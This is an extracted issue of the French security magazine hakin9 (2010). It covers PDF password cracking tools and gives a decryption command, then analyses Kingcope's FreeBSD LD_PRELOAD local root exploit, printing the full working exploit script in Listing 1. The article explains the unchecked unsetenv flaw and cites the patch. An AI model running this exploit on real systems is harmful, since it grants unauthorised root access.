Le mot de passe d'ouver ture ("open password") permet un chif frement in-tégral ou par tiel du document. Il est possible de ne pas chif frer les méta-données, afin de permettre l'indexation par les moteurs de recherches (sur In-ternet , ou en local). Depuis la version Adobe 7, il est également possible de

ne chif frer que les pièces jointes, tant qu'elles sont enregistrées dans ce do-cument, le reste du document n'étant pas chif fré.

Attaque de fichier PDFPour attaquer un document PDF protégé par mot de passe, de nombreux outils commerciaux, et quelques logiciels open-source, existent sur le marché, plus ou moins performants. Nous allons en énu-mérer quelques-uns :

• APDFPR, de la société Russe Elcom-soft (http://www.elcomsoft.fr ), est l'un des plus performants du marché, en licence payante.

• PDFCrack, développé par Henning Noren (alias confusion42) (http://sourceforge.net/projects/pdfcrack ) , est un outil en ligne de comman-de, capable de casser les mots de passe jusqu'à la version Adobe 8 (la nouvelle version 0.12 paraîtra dans quelques jours). Une version Cygwin pour Windows existe également (http://blog.rubypdf.com/pdfcrack). Cet outil ne permet pas de déchif frer

AES vs RC4AES (Advanced Encryption Standard) est un algorithme de chiffrement symétrique issu d'un appel à candidature international lancé en janvier 1997. Il est aujourd'hui considéré comme sûr, car il n'a pour l'instant pas été cassé, et la recherche exhaustive ("force brute") demeure la seule solution.

RC4 (Ron's Code) est un algorithme de chiffrement par flot, conçu en 1987 par Ronald Rivest. Populaire, il a fait l'objet de nombreuses recherches sur są sécurité. Il est considéré comme peu sûr et ne devrait plus être utlisé pour le chiffrement de nouveaux documents.

Evolution de PDFCrackL'outil pdfcrack en version 0.11 ne prend pas en charge les documents chiffrés par la version Adobe Acrobat 9. Son auteur, Henning Noren, alerté a prévu d'en publier une nouvelle version avant le début janvier 2010. Celle-ci apportera également le support du multithreading. D'autres évolutions sont prévues, comme l'implémentation de SHA256 pour le support de PDF1.7 exten-sion 3.

Figure 1. Restrictions d'un document PDF

Figure 2. Attaque par force brute avec APDFPR

Figure 3. Bench d'attaque avec PDF-Crack

Page 74: hakin9_2_2010_FR

PRATIQUE

74 HAKIN9 2/2010

ou déprotéger un document, mais se contente de rechercher son mot de passe.

• PDFCrypt (http://blog.rubypdf.com/2008/11/18/pdfcrypt-another-free-pdf-encrypt-and-decrypt-software), sous Windows, permet de déprotéger un document, si aucun mot de passe d'ouverture n'est attribué au document, ou si ce mot de passe est connu. Le mot de passe d'utilisation étant incon-nu.

Force-bruteL'attaque par force brute consiste à es-sayer toutes les valeurs de mots de pas-se possible en utilisant des caractères prédéfinis (cf. Figure 2). Evidemment, plus le mot de passe est long plus l'attaque sera longue. Un mot de passe d'une di-zaine de caractères est suf fisant contre ce genre d'attaque. APDFPR propose un logiciel pour distribuer les attaques sur plusieurs machine, ne négligez donc pas

la longueur et la complexité du mot de passe.

DictionnaireL'attaque par dictionnaire est évidemment plus rapide, mais moins exhaustive que la précédente. Sur le CD joint à ce ma-gazine, une vidéo montre qu'avec un dic-tionnaire de 3.000.000 mots (20 Mo) et un ordinateur moyen, l'attaque dure moins de 3 minutes.

Autres types d'attaqueLe logiciel APDFPR permet d'ef fectuer des "Mask attack". Cela est possible si cer taines por tions du mot de passe sont connues. Ces attaques fonction-nent comme la force brute, mais sur un champ de possibilités restreintes. Enfin, ce même logiciel, dans są version En-treprise, permet l'utilisation de "Thunder tables" (ht tp://blog.crackpassword.com/2009/05/thunder-tables) permettant

une récupération quasi instantanée des mots de passe. Cette technique n'est réellement ef ficace que contre des chif-frements RC4 40 bits, implémenté dans Adobe 2.0 et donc très désuet. Ces ta-bles sont générées sur le modèle des Rainbow tables (pour les fonctions de hachages).

Déchiffrement et suppression des limitationsUne fois le mot de passe découvert, il est donc simple d'ouvrir le document avec Adobe Reader. Pour enregistrer le do-cument dans une version non chif frée, nous pouvons utiliser l'outil pdfcrypt (http://www.rubypdf.com).

pdfcrypt.exe encrypted_file.pdf

decrypted_file.pdf

decrypt password

Cet outil permet également de modifier les permissions d'utilisation d'un document. Une chaîne de 8 bits peut être ajoutée sur la ligne de commande, chaque bit corres-pondant à une permission particulière : AllowPrinting, AllowModifyContents, Allow-Copy, AllowModifyAnnotations, AllowFillIn, AllowScreenReaders, AllowAssembly, Al-lowDegradedPrinting. Par exemple, pour autoriser la copie et l'impression la chaîne sera : 10100000.

ConclusionLa sécurité des fichiers PDF a donc évolué parallèlement à l'évolution des techniques d'attaques. Un document chif fré avec la dernière version du logiciel Adobe Acrobat aura une sécurité convenable dans la plu-part des cas, pour peu que l'utilisateur at-tribue un mot de passe suffisamment long et complexe.

Tableau 1. Le chiffrement dans les différentes versions d'Adobe Acrobat.

Version du format PDF Acrobat Re-leases

Sécurité des mots de passe

Sécurité par certificat

1993 – PDF 1.0 Acrobat 1.0

1994 – PDF 1.1 Acrobat 2.0 40 bits - RC4

1996 – PDF 1.2 Acrobat 3.0 40 bits - RC4

1999 – PDF 1.3 Acrobat 4.0 40 bits - RC4

2001 – PDF 1.4 Acrobat 5.0 40 et 128 bits - RC4

Certificats autosignés seu-lement40 et 128 bits - RC4

2003 – PDF 1.5 (nom de code : Brazil)

Acrobat 6.0 40 et 128 bits - RC4

Certificats tiers et autosi-gnés40 et 128 bits - RC4

2005 – PDF 1.6 Acrobat 7.0 128 bits - RC4 et AES

Certificats tiers et autosi-gnés128 bits - RC4 et AES

2006 – PDF 1.7 (ISO 32000-1:2008)

Acrobat 8.0 128 bits - RC4 et AES

Certificats tiers et autosi-gnés128 bits - RC4 et AES

2008 – PDF 1.7, Adobe Ex-tension Level 3(nom de code : Nova)

Acrobat 9.0 Ajout de 256 bits - AES

Ajout de 256 bits - AES

2008 – PDF 1.7, Adobe Ex-tension Level 5

Acrobat 9.1 À propos de l'auteurAuteur : Alexandre LACANPour le contacter : [email protected]://twitter.com/lades51

Page 75: hakin9_2_2010_FR
Page 76: hakin9_2_2010_FR

76 HAKIN9 2/2010

TECHNIQUE

77 HAKIN9

FREEBSD LOCAL R00T EXPLOIT

2/2010

FreeBSD est certainement le système d’exploitation de la famille des BSD le plus utilisé en tant que serveur. Sa philosophie

"The power to serve" consiste à apporter le maximum d’ef ficacité tout en gardant un haut niveau de sécurité. Cependant ,Kingcope, auteur d’exploits qui, généralement, ne passent pas inaperçus, s’est penché sur cet OS et a réussi à découvrir un exploit bien oldschool permettant une escalade de privilèges pour devenir root. D’ailleurs, ce n’est pas le premier exploit du genre qu’il publie puisque cette année, il a déjà publié un remote exploit sur telnetd (voir l'encadré références 2) en utilisant également LD_PRELOAD.

Nous étudierons dans un premier temps le principe de cet exploit puis verrons comment il a pu exploiter une vulnérabilité dans le RTLD (Run-time Dynamic Loader) afin d’arriver à ses fins. Nous expliquerons également dans les grandes lignes ce que permet la variable LD_PRELOAD et verrons comment éviter ce genre de vulnérabilité dans les applications.

Local r00t ExploitCommençons donc par regarder l’exploit via le Listing 1.

Ce script shell crée tout d’abord un programme qui servira d’exploit puis compile une librairie dynamique (gcc -shared –Wl). Nous remarquerons la possibilité de créer 2 programmes par la commande cat > fichier

RÉMI LAURENT

CET ARTICLE EXPLIQUE...Ce qu’est LD_PRELOAD

L’exploitation d’une vulnérabilité applicative

CE QU'IL FAUT SAVOIR...Connaissances en C

Notions sur FreeBSD

<< EOF qui inclura alors tout le texte suivant cette ligne jusqu’à trouver un EOF (End Of File), permettant ainsi de créer et de compiler plusieurs programmes depuis un seul script Shell. À retenir, cela pourrait servir un jour.

Commençons donc par regarder le programme d’exploit . Il déclare un tableau environ en externe qui permettra d’accéder à l’environnement SHELL et d'y ajouter la variable LD_PRELOAD sur laquelle nous reviendrons. Ensuite, le programme exécute la commande ping, commande avec le bit SUID activé comme le montre le Listing 2. Pour mémoire, le bit SUID permet d’exécuter une commande avec les droits du propriétaire de cette commande. Ici, la commande ping pourra donc être lancée par n’importe qui avec des droits root. Le programme est ensuite compilé (gcc env.c -o env).

Intéressons-nous maintenant à la deuxième partie de l’exploit qui consiste à compiler une librairie dynamique du même nom que la valeur de LD_PRELOAD. Cette librairie possède une seule fonction _init() qui remet la variable environ à NULL puis exécute la commande echo et enchaîne par le lancement d’un shell (system("echo ALEX-ALEX;/bin/sh").Le programme est alors compilé en tant que librairie partagée et placé dans le répertoire /tmp, souvent en droit d’écriture pour tout le monde, afin de correspondre au chemin donné à LD_PRELOAD. Enfin l’exploit est lancé par ./env .

Degré de difficulté

FreeBSD Local r00t exploitFreeBSD est considéré comme un des OS les plus sûrs donc, quand une vulnérabilité touche le système et procure un accès root depuis un compte utilisateur en local, nous ressentons l’irrésistible envie de l’étudier ici.

Page 77: hakin9_2_2010_FR

76 HAKIN9 2/2010

TECHNIQUE

77 HAKIN9

FREEBSD LOCAL R00T EXPLOIT

2/2010

LD_PRELOADPour comprendre réellement cet exploit, il est nécessaire de comprendre ce qu’est LD_PRELOAD. Faisons ici un rappel non exhaustif afin d’expliquer ce que permet cette variable. Pour plus d’information, nous vous recommandons l’article publié par Hakin9 sur le sujet (voir l'encadré références 3).

Il y a 2 manières de compiler un programme. La première consiste à compiler en statique, c'est-à-dire que toutes les librairies seront directement compilées et incluses dans le programme. La seconde méthode consiste à compiler en permettant de faire appel à des librairies dynamiques externes.

L’intérêt de compiler en statique est d’éviter les problèmes lors des mises à jour d’une librairie. En effet, prenons pour exemple votre shell de connexion. Si vous utilisez Bash compilé en dynamique et qu’une des librairies ne fonctionne plus, vous serez bien embêté pour vous logger sur votre système. L’inconvénient est l’espace disque utilisé car toutes les librairies se retrouvent alors incluses pour chaque programme compilé en statique alors qu’en dynamique, la librairie est compilée une fois et les dif férents programmes qui en ont besoin l’appelleront et l’utiliseront.

LD_PRELOAD n’est utilisé que dans le cas de compilation utilisant des librairies dynamiques. Comme son nom l’indique, il consiste à charger une librairie préalablement au lancement du programme et à l’intégrer à celui-ci. Cette variable est principalement utilisée pour faire du debug et permet de surcharger une fonction, modifiant ainsi son comportement. Vous trouverez plusieurs exemples d'utilisation de LD_PRELOAD dans le précédent ar ticle cité (voir l'encadré références 3).

Ce qui est important de savoir, c’est que pour des raisons de sécurité évidentes, LD_PRELOAD ne doit pas fonctionner sur des programmes où le bit SUID est activé sinon, il suf firait de faire un coup de GDB sur un programme SUID, de générer une librairie surchargeant une fonction du programme afin d’obtenir un shell

root. Sauf que dans le cas présent, c’est justement cette sécurité qui est bypassée et exploitée afin d’obtenir le shell root tant convoité.

BYPASS de la sécurité SUIDDans le cas qui nous intéresse, notre exploit, nous voyons que la fonction qui

sera surchargée est la fonction _init(), fonction utilisée lors du lancement d’une librairie partagée et qui fait office de constructeur comme le montre le Listing 3. En exécutant l’exploit, nous constatons qu'au lancement de la commande ping, le LD_PRELOAD est chargé et un shell apparaît !

Listing 1. FreeBSD Local r00t Exploit

#!/bin/sh

echo ** FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat > env.c << _EOF

#include <stdio.h>

main() {

extern char **environ;

environ = (char**)malloc(8096);

environ[0] = (char*)malloc(1024);

environ[1] = (char*)malloc(1024);

strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

execl("/sbin/ping", "ping", 0);

}

_EOF

gcc env.c -o env

cat > program.c << _EOF

#include <unistd.h>

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

extern char **environ;

environ=NULL;

system("echo ALEX-ALEX;/bin/sh");

}

_EOF

gcc -o program.o -c program.c -fPIC

gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles

cp w00t.so.1.0 /tmp/w00t.so.1.0

./env

Listing 2. Le bit setuid de ping

(cloud /sbin) $ ls -l | grep ping

-r-sr-xr-x 1 root wheel 23872 May 2 2008 ping

-r-sr-xr-x 1 root wheel 31196 May 2 2008 ping6

Listing 3. Existence de la fonction _init()

(cloud ~) $ ldd prog

prog:

libc.so.7 => /lib/libc.so.7 (0x2807d000)

(cloud ~) $ objdump -d prog

prog: file format elf32-i386-freebsd

Disassembly of section .init:

08048294 <_init>:

.....

Page 78: hakin9_2_2010_FR

TECHNIQUE

78 HAKIN9 2/2010

Analyse de la vulnérabilitéLa première partie du code de Kingcope initialise LD_PRELOAD avec la valeur /tmp/w00t.so.1.0. Celle-ci devrait être réinitialisée dans un comportement normal puisque ping est setuid. Examinons cela en details, en étudiant la librairie qui gère LD_PRELOAD, rtld.c

Rtld.cCe code contrôle la gestion du chargement des librairies dynamiques. Il se trouve à l’emplacement /usr/src/libexec/r tld-elf/r tld.c . Seul ce qui nous intéresse est dans le Listing 4. Nous voyons tout d’abord que le code contrôle si le programme est setuid (trust

= !issetugid();) . Ensuite, comme l’indique le commentaire, si le processus appelé et contrôlé avec la variable trust est setuid, alors la variable LD_PRELOAD est supprimée (unsetenv(LD _

"PRELOAD");). Jusque-là, il n'y a aucun problème dans la logique. Remontons un peu et voyons le code de la fonction unsetenv() .

Getenv.cLa fonction unsetenv() est déclarée dans le fichier /usr/src/lib/libc/stdlib/getenv.c . Elle est décrite dans le Listing 5. Cette fonction vérifie tout d’abord le nom de la variable LD_ . En ef fet, il existe plusieurs variables de la même famille que LD_PRELOAD. Ensuite, comme nous l’indique le commentaire, nous avons une initialisation de l’environnement par la condition utilisant la fonction _ _

merge _ environ() . Si elle égale -1, alors la fonction unsetenv() renverra -1 également, ce qui doit être traité comme une erreur.

Analysons donc maintenant la fonction _ _ merge _ environ() (cf. Listing 6). Elle balaiera les valeurs de tout le tableau d’environnement, appelé environ dans l’exploit de Kingcope. Le point intéressant se situe au niveau de cette condition : if ((equals = strchr(*env, '='))

== NULL) { . Si une des variables d’environnement ne contient pas un "=", alors la fonction renvoie donc une erreur (-1). Or, en regardant notre exploit dans le Listing 1, nous constatons que Kingcope a initialisé la variable environ[0] sans y attribuer de valeur( environ[0] = (char*)malloc(1024);) et qu'elle ne contient donc pas de "=" : elle renvoie une erreur (-1).

La vulnérabilité ?Faisons maintenant le chemin inverse. LD_PRELOAD vaut toujours /tmp/w00t.so.1.0, _ _ merge _ environ() renvoie -1 à la fonction unsetenv() qui elle-même retourne -1 … sauf que dans le r tdl.c, le retour n’est pas contrôlé ! (unsetenv(LD _ "PRELOAD");) Le comportement normal aurait été de contrôler la valeur de retour puis de générer une erreur et de ne pas continuer l’exécution du programme ; excepté

Listing 4. Fichier /usr/src/libexec/rtld-elf/rtld.c

(cloud /usr/home/cloud) $ vim /usr/src/libexec/rtld-elf/rtld.c

func_ptr_type

_rtld(Elf_Addr *sp, func_ptr_type *exit_proc, Obj_Entry **objp)

{

Elf_Auxinfo *aux_info[AT_COUNT];

..........

trust = !issetugid();

ld_bind_now = getenv(LD_ "BIND_NOW");

/*

* If the process is tainted, then we un-set the dangerous environment

* variables. The process will be marked as tainted until setuid(2) * is called. If any child process calls setuid(2) we do not want any

* future processes to honor the potentially un-safe variables.

*/

if (!trust) { unsetenv(LD_ "PRELOAD");

..............

Listing 5. Fichier /usr/src/lib/libc/stdlib/getenv.c

/*

* Unset variable with the same name by flagging it as inactive. No variable is * ever freed.

*/

int unsetenv(const char *name)

{

int envNdx;

size_t nameLen;

/* Check for malformed name. */ if (name == NULL || (nameLen = __strleneq(name)) == 0) { errno = EINVAL;

return (-1); }

/* Initialize environment. */

if (__merge_environ() == -1 || (envVars == NULL && __build_env() == -1)) return (-1);

/* Deactivate specified variable. */

envNdx = envVarsTotal - 1;

if (__findenv(name, nameLen, &envNdx, true) != NULL) { envVars[envNdx].active = false;

if (envVars[envNdx].putenv) __remove_putenv(envNdx);

__rebuild_environ(envActive - 1);

}

return (0);}

Page 79: hakin9_2_2010_FR

qu'ici, comme aucun contrôle n’est fait , le LD_PRELOAD pointe toujours vers notre librairie et permet donc de hooker le _ init() de ping lors de l’exécution de ce binaire setuid et de lancer le shell /bin/sh .

ConclusionIl est absolument nécessaire de toujours contrôler la valeur de retour d’une fonction pour des raisons évidentes de sécurité que nous venons de démontrer ici. Il serait peut être bon que le compilateur prévienne le développeur par un Warning la présence d’un non

contrôle afin de se prémunir de ce genre d’erreur. Fort heureusement, la team sécurité de FreeBSD a rapidement réagi en proposant un patch correctif (4).

Listing 6. Fonction __merge_environ()

/*

* If the program attempts to replace the array of environment variables

* (environ) environ or sets the first varible to NULL, then deactivate all

* variables and merge in the new list from environ.

*/

static int __merge_environ(void){

char **env; char *equals;

.................

/*

* Insert new environ into existing, yet deactivated,

* environment array.

*/

origEnviron = environ;

if (origEnviron != NULL) for (env = origEnviron; *env != NULL; env++) { if ((equals = strchr(*env, '=')) == NULL) { __env_warnx(CorruptEnvValueMsg, *env,

strlen(*env));

errno = EFAULT;

return (-1); }

if (__setenv(*env, equals - *env, equals + 1, 1) == -1)

return (-1); }

}

return (0);}

Références• (1) http://www.freebsd.org – site officiel de FreeBSD,• (2) http://www.exploit-db.com/exploits/8055 – Telnetd Local Privilege Escalation Exploit,• (3) http://hakin9.org/fr/magazine/article – Article H9 sur LD_PRELOAD,• (4) http://security.freebsd.org/advisories/FreeBSD-SA-09:16.rtld.asc – Patch FreeBSD pour

cet exploit

À propos de l'auteurRémi LAURENT est ingénieur SSI dans le cabinet de conseil toulousain SCASSI Conseil. Passionné depuis plus de 10 ans par la sécurité informatique et par le monde de l’Open Source dont principalement FreeBSD, il partage ses connaissances sur son blog : http://blog.madpowah.orgPour contacter l'auteur : [email protected]

Page 80: hakin9_2_2010_FR

w

Pour

plu

s de

rens

eign

emen

t : hakin9@

hakin9.org

Club

.PRO

SecureIP SolutionsLa sécurité de l’information est une chose importante pour les entreprises et même pour les particuliers. C’est pourquoi SecureIP Solutions vous propose différents produits et services pour protéger vos précieuses données tels qu’un service de sauvegarde en ligne, les différents produits BitDefender et bien plus encore. http://www.secureip.ca

NUMERANCENUMERANCE, Spécialisée dans la sécurité informatique, intervient auprès des Petites et Moyennes Entreprises, en proposant des prestations d’audit, d’accompa-gnement, et de formation.http://www.numerance.fr

Hervé Schauer ConsultantsHervé Schauer Consultants : 17 ans d'expertise en Sécurité des Systèmes d'Infor-mation Nos formations techniques en sécurité et ISO27001 sont proposées à Pa-ris, Toulouse, et Marseille. http://www.hsc.fr/services/formations/cataloguehsc.pdfInformations : [email protected] - +33 (0)141 409 704

TippingPointTippingPoint est un leader mondial dans la prévention des intrusions réseaux (Network IPS) de 50Mbps à 10Gigabits ainsi que la vérification d’intégrité de po-ste et le contrôle d’accès du réseau (NAC).Tél : 01 69 07 34 49, E-mail : [email protected]://www.tippingpoint.com

SysdreamCabinet de conseil et centre de formation spécialisé en sécurité informatique. L’e-xpérience c'est avant tout les recherches publiques, visant à améliorer la sécurité des applications et des systèmes d’informations. Les résultats disponibles sur des portails de recherche, dans la presse spécialisés. http://www.sysdream.com

MICROCOMSMicrocoms est une société spécialisée dans les produits Microsoft qui a pour vocation d'aider les particuliers, les TPE-PME et les professions libérales sur 6 axes principaux de l'informatique : Assister, Dépanner, Conseiller, Sécuriser, For-mer, Maintenir.Tél. : 01.45.36.05.81e-mail : [email protected]://www.microcoms.net

ALTOSPAMNe perdez plus de temps avec les spams et les virus. Sécurisez simplement vos emails professionnels. ALTOSPAM est un logiciel externalisé de protection de la messagerie électronique : anti-spam, anti-virus, anti-phishing, anti-scam... Testez gratuitement notre service, mis en place en quelques minutes. http://www.altospam.com OKTEY – 5, rue du Pic du Midi – 31150 GRATENTOUR

Page 81: hakin9_2_2010_FR

Merci de remplir ce bon de commande et de nousle retourner par fax : (+48) 22 244 24 59ou par courrier :

Software Press Sp. z o. o. SKBokserska 1, 02-682 Varsovie, PologneTel. (00 33) 09.75.180.358E-mail : [email protected]

Prénom/Nom ........................................................................................

Entreprise .............................................................................................

Adresse .................................................................................................

................................................................................................................

Code postal ..........................................................................................

Ville ........................................................................................................

Téléphone .............................................................................................

Fax .........................................................................................................

Je souhaite recevoir l'abonnement à partir du numéro ....................

................................................................................................................

En cadeau je souhaite recevoir .......................................................

................................................................................................................

E-mail (indispensable pour envoyer la facture) ................................

................................................................................................................

Je règle par :¨ Carte bancaire n° CB

¨¨¨¨ ¨¨¨¨ ¨¨¨¨ ¨¨¨¨ code CVC/CVV ¨¨¨¨ expire le _______________ date et signature obligatoires

type de carte (MasterCard/Visa/Diners Club/Polcard/ICB)

¨ Virement bancaire : Nom banque : Nordea Bank Polska S.A. banque guichet numéro de compte clé IBAN : PL 55 1440 1101 0000 0000 1018 8113 Adresse Swift (Code BIC) : NDEAPLP2

BULLETIN D’ABONNEMENT

Abonnez-vouset recevez

un cadeau !

PRIX D’ABONNEMENTÀ HAKIN9 COMMENT SE DÉFENDRE : 35 €

com

men

t se

dèfe

ndre

Page 82: hakin9_2_2010_FR

82 HAKIN9 5/2008

DOSSIERTest de Pénetration

EN BREFL̀actualité du monde de la sécurité informatique et des systèmes d`information. Les nouvelles failles, les intrusions web et les nouvelles applications.

Le bimestriel hakin9 est publié par Software Press Sp. z o. o. SK

Président de Software Press Sp. z o. o. SK: Paweł Marciniak Directrice de la publication: Ewa LozowickaRedacteur en chef: Aneta [email protected]: Andrzej [email protected]

DTP :Przemys ław BanasiewiczCouverture : Agnieszka MarchockaCouverture CD : Przemyslaw BanasiewiczPublicité : [email protected] : [email protected] : Ilona Lepieszka [email protected]épôt légal : à parutionISSN : 1731-7037Distribution : MLP

Parc d’activités de Chesnes, 55 bd de la Noirée BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX(c) 2009 Software Press Sp. z o. o. SK, tous les droits réservés

Béta-testeurs : Didier Sicchia, Pierre Louvet, Anthony Marchetti, Régis Senet, Paul Amar, Julien Smyczynski, Gregory Vernon, Latorre Christophe, Timotée Neullas

Les personnes intéressées par la coopération sont invitées à nous contacter :[email protected]

Préparation du CD : Rafal KwaśnyImprimerie, photogravure : ArtDruk www.artdruk.comAdresse de correspondance : Software Press Sp. z o. o. SKBokserska 1, 02-682 Varsovie, PologneTél. +48 22 427 32 87, Fax. +48 22 244 24 59www.hakin9.org

Abonnement (France métropolitaine, DOM/TOM) : 1 an (soit 6 numéros) 35 €La rédaction fait tout son possible pour s’assurer que les logiciels sont à jour, elle décline toute responsabilité pour leur utilisation. Elle ne fournit pas de support technique lié à l’installation ou l’utilisation des logiciels enregistrés sur le CD-ROM.Tous les logos et marques déposés sont la propriété de leurs propriétaires respectifs.

Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data Software Sp. z o.o.

AVERTISSEMENTLes techniques présentées dans les articles ne peuvent être utilisées qu’au sein des réseaux internes.

La rédaction du magazine n’est pas responsable de l’utilisation incorrecte des techniques présentées.

L’utilisation des techniques présentées peut provoquer la perte des données !

EN MAI 2010Dans le prochain numéroToute l'actualité du prochain numéro sur le site www.hakin9.org/fr.

Ce numéro sera disponible en janvier.

La rédaction se réserve le droit de modifier le contenu de la revue.

La rédaction se réserve le droit de modifier le contenu de la revue

Vous souhaitez collaborer a la rédaction des articles?N`hésitez pas á nous [email protected]

SUR LE CDComme toujours dans chaque numéro nouv vous proposons hakin9.live avec la distribution BackTrack 4.Des tutoriels vidéo pratiques afin de mieux comprendre les méthodes offensives.

ATTAQUEDécouvrez l’article sur :

• Introduction au RFID• Click Jacking.• CISCO

Page 83: hakin9_2_2010_FR
Page 84: hakin9_2_2010_FR